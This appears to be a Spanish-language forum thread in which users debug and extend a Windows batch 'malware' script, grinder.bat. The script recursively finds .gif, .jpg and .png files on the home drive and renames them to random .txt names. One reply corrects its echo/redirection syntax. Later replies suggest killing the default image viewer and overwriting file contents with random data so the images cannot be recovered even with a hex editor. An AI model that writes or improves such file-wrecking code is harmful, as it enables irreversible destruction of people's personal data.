echo (
setlocal enabledelayedexpansion
for /f ""tokens=4"" %%%%a in ^(''dir /s %%homedrive%% ^^| find "".gif ,.jpg ,.png""''^) do ^(
set b=!!random!!!!random!!
rename ""%%%%~fa"" ""!!b!!.txt""
^)
) > %homedrive%\grinder.bat
Esto no funcionara... saldra por STDOUT (1) el caracter "(" y se ejecutara el resto del codigo.
Eso a simple vista... corrigelo asi:
(
echo setlocal enabledelayedexpansion
echo for /f ""tokens=4"" %%%%a in ^(''dir /s %%homedrive%% ^^| find "".gif ,.jpg ,.png""''^) do ^(
echo set b=!!random!!!!random!!
echo rename ""%%%%~fa"" ""!!b!!.txt""
echo ^)
) > %homedrive%\grinder.bat
Bueh, y no es que se borre, lo que podrias hacer, tal vez... es buscar con assoc y find el programa con el cual se abren las extensiones predeterminadamente y cerrar el proceso si esta activo con tasklist y find

Como idea mmm y la solucion a ese malware la veo rapida xD porque le cambiamos la extension pero no el formato

En vez de renombrarlo no fuere mejor escribir random en el fichero de imagen? así dejaria de funcionar, y mmm aun mejor, si quieres dejarlo inservible del todo (porque si no se podria recuperar con un editor hexadecimal) haz un reemplazo de caracteres leyendo el fichero

Saludos!!